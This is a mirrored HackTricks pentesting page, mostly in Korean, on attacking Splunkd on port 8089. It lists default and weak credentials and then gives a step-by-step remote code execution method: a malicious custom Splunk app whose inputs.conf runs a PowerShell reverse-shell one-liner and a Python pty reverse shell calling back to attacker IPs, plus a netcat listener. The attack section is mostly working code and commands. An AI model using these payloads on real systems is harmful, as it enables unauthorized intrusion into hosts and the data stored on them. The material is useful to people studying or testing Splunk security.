mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
140 lines
9 KiB
Markdown
140 lines
9 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **기본 정보**
|
|
|
|
Splunk는 **데이터 수집, 분석 및 시각화**에서 중요한 역할을 하는 **로그 분석 도구**입니다. 초기 목적은 **SIEM(보안 정보 및 이벤트 관리)** 도구로 사용되는 것이 아니었지만, **보안 모니터링** 및 **비즈니스 분석** 분야에서 인기를 얻었습니다.
|
|
|
|
Splunk 배포는 종종 **민감한 데이터**를 저장하는 데 사용되며, 시스템을 침해할 경우 잠재적인 공격자에게 **귀중한 정보 출처**가 될 수 있습니다. **기본 포트:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
기본적으로 **Splunk 웹 서버는 포트 8000에서 실행됩니다**.
|
|
{% endhint %}
|
|
|
|
## 열거
|
|
|
|
### 무료 버전
|
|
|
|
Splunk Enterprise 체험판은 **60일 후 무료 버전으로 전환되며**, **인증이 필요하지 않습니다**. 시스템 관리자가 Splunk의 체험판을 설치하여 테스트하는 것은 드문 일이 아니며, 이는 **그 후 잊혀지곤 합니다**. 이는 인증이 전혀 없는 무료 버전으로 자동 전환되어 환경에 보안 구멍을 초래합니다. 일부 조직은 예산 제약으로 인해 무료 버전을 선택할 수 있으며, 사용자/역할 관리가 없다는 것의 의미를 완전히 이해하지 못할 수 있습니다.
|
|
|
|
### 기본 자격 증명
|
|
|
|
구버전의 Splunk에서는 기본 자격 증명이 **`admin:changeme`**로, 로그인 페이지에 편리하게 표시됩니다.\
|
|
그러나 **최신 버전의 Splunk**는 **설치 과정 중에 자격 증명을 설정합니다**. 기본 자격 증명이 작동하지 않는 경우, `admin`, `Welcome`, `Welcome1`, `Password123`와 같은 일반적인 약한 비밀번호를 확인해 볼 가치가 있습니다.
|
|
|
|
### 정보 얻기
|
|
|
|
Splunk에 로그인하면 **데이터를 탐색하고**, **보고서를 실행하며**, **대시보드를 생성하고**, Splunkbase 라이브러리에서 **응용 프로그램을 설치**하고, 사용자 정의 응용 프로그램을 설치할 수 있습니다.\
|
|
코드를 실행할 수도 있습니다: Splunk는 서버 측 Django 애플리케이션, REST 엔드포인트, 스크립트 입력 및 경고 스크립트와 같은 여러 가지 방법으로 **코드를 실행**할 수 있습니다. Splunk 서버에서 원격 코드 실행을 얻는 일반적인 방법은 스크립트 입력을 사용하는 것입니다.
|
|
|
|
또한, Splunk는 Windows 또는 Linux 호스트에 설치할 수 있으므로 Bash, PowerShell 또는 Batch 스크립트를 실행하기 위해 스크립트 입력을 생성할 수 있습니다.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### 사용자 정의 애플리케이션 만들기
|
|
|
|
사용자 정의 애플리케이션은 **Python, Batch, Bash 또는 PowerShell 스크립트**를 실행할 수 있습니다.\
|
|
**Splunk에는 Python이 설치되어 있으므로**, **Windows** 시스템에서도 Python 코드를 실행할 수 있습니다.
|
|
|
|
[**이**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk 패키지를 사용하여 도움을 받을 수 있습니다. 이 리포지토리의 **`bin`** 디렉토리에는 [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) 및 [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) 예제가 있습니다. 단계별로 진행해 보겠습니다.
|
|
|
|
이를 달성하기 위해, 먼저 다음 디렉토리 구조를 사용하여 사용자 정의 Splunk 애플리케이션을 생성해야 합니다:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
The **`bin`** 디렉토리에는 우리가 실행할 **스크립트**가 포함될 것입니다 (이 경우 **PowerShell** 리버스 셸) 및 기본 디렉토리에는 우리의 `inputs.conf` 파일이 있을 것입니다. 우리의 리버스 셸은 **PowerShell 원라이너**가 될 것입니다:
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) 파일은 Splunk에 **어떤 스크립트를 실행할지** 및 기타 조건을 알려줍니다. 여기서 우리는 앱을 활성화로 설정하고 Splunk에 스크립트를 10초마다 실행하도록 지시합니다. 간격은 항상 초 단위이며, 이 설정이 존재할 경우에만 입력(스크립트)이 실행됩니다.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
우리는 애플리케이션이 배포될 때 실행되고 PowerShell 원라이너를 실행할 `.bat` 파일이 필요합니다.
|
|
|
|
다음 단계는 `Install app from file`을 선택하고 애플리케이션을 업로드하는 것입니다.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
악성 사용자 정의 앱을 업로드하기 전에 Netcat 또는 [socat](https://linux.die.net/man/1/socat)을 사용하여 리스너를 시작합시다.
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
On the `Upload app` page, click on browse, choose the tarball we created earlier and click `Upload`. As **우리가 애플리케이션을 업로드하는 즉시**, a **리버스 셸이 수신됩니다** as the status of the application will automatically be switched to `Enabled`.
|
|
|
|
#### Linux
|
|
|
|
If we were dealing with a **Linux host**, we would need to **edit the `rev.py` Python script** before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilege Escalation
|
|
|
|
다음 페이지에서는 이 서비스를 악용하여 권한을 상승시키고 지속성을 얻는 방법에 대한 설명을 찾을 수 있습니다:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## References
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|